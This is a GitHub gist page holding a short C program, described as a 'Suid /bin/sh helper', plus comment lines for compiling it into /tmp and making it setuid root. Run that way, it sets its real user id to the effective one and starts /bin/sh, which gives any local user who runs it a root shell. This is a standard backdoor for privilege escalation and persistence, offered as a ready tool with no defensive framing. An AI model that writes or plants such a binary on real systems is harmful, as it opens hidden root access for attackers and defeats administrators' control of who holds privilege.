Skip to content

Instantly share code, notes, and snippets.

@libcrack
Created January 29, 2017 06:02
Show Gist options
  • Save libcrack/e9364ace178e5bc1e3874745fb1fc271 to your computer and use it in GitHub Desktop.
Save libcrack/e9364ace178e5bc1e3874745fb1fc271 to your computer and use it in GitHub Desktop.
Suid /bin/sh helper
/*
* root@libcrack.so
* Sun Jan 29 06:57:23 CET 2017
*
* gcc -o /tmp/suidshell suidshell.c
* chown root /tmp/shell
* chmod +s /tmp/shell
*/
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
uid_t euid;
char *envp[] = { NULL };
char *argv[] = { "/bin/sh", NULL };
euid = geteuid();
// if ( setresuid(euid, euid, euid) == -1 ){
if ( setreuid(euid, euid) == -1 ){
perror("setresuid");
return EXIT_FAILURE;
}
// if ( execl("/bin/bash", "/bin/bash", NULL) == -1 ) {
if ( execve("/bin/sh", argv, envp) == -1 ){
perror("execl");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment